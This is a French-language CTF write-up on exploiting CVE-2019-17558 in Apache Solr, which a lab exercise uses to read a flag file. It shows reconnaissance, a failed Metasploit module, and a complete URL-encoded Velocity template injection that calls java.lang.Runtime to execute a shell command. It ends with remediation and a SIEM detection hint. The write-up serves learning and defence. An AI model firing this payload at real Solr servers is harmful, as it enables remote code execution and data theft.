
Write-up CTF documentant l'exploitation de CVE-2019-17558 dans Apache Solr, couvrant la reconnaissance, les limites de Metasploit, l'injection manuelle de templates Velocity, la capture du flag et la remédiation.
Exploration pratique d'une vulnérabilité de Velocity Template Injection dans Apache Solr, passant d'une défaillance d'outil automatisé (Metasploit) à une exploitation manuelle réussie.
Ce write-up documente le raisonnement complet de l'exercice, en mettant l'accent sur le diagnostic de la défaillance de l'outil et sur le pivot vers l'exploitation manuelle.
| Item | Description |
|---|---|
| Cible | Serveur Linux exécutant Apache Solr sur le port 8983 |
| Objectif | Lire le contenu d'un fichier sensible (/home/favorite_book.txt) |
| Vulnérabilité | CVE-2019-17558 (RCE via Velocity Response Writer) |
La phase initiale a consisté à identifier les services actifs sur l'hôte cible.
nmap -sV -p- <TARGET_IP>
Résultats.
novacollection.En accédant au panneau d'administration, il a été confirmé que la version de Solr était vulnérable à Velocity Template Injection.
La faille se produit lorsque l'attaquant parvient à modifier la configuration params.resource.loader.enabled à true, ce qui permet l'utilisation de modèles Velocity personnalisés et, à partir de là, l'exécution de code Java arbitraire sur le serveur.
Initialement, le module exploit/multi/http/solr_velocity_rce a été utilisé.
L'exploit a réussi à modifier la configuration de Solr.
[+] params.resource.loader.enabled is true for core 'novacollection'
Cependant, l'étape finale d'injection du payload a échoué avec une erreur d'exécution Ruby.
NoMethodError: undefined method 'body' for nil:NilClass
Cela a indiqué que, bien que l'environnement soit vulnérable et déjà préparé, l'outil n'a pas pu traiter la réponse du serveur pour finaliser l'attaque. La cible n'était pas sécurisée, seule la méthode de délivrance du module devait être ajustée.
Avec le Velocity Writer déjà activé par Metasploit, l'injection a été effectuée manuellement via une requête HTTP GET, contournant l'erreur du script. Le modèle Velocity a été construit pour instancier java.lang.Runtime et exécuter la commande de lecture du fichier cible.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Commande effectivement exécutée sur le serveur.
cat /home/favorite_book.txt
L'injection a réussi et le contenu du fichier a été renvoyé directement dans le corps de la réponse HTTP, rendu dans le navigateur, permettant de capturer le flag.
NoMethodError ne signifiait pas que la cible était sécurisée, seulement que la méthode de délivrance devait être ajustée.params.resource.loader.enabled reste désactivé.select avec les paramètres wt=velocity, utiles comme signature de détection dans un SIEM.Ce dépôt a été créé à des fins éducatives et de documentation d'apprentissage dans un environnement contrôlé (CTF). N'utilisez pas ces techniques contre des systèmes sans autorisation explicite.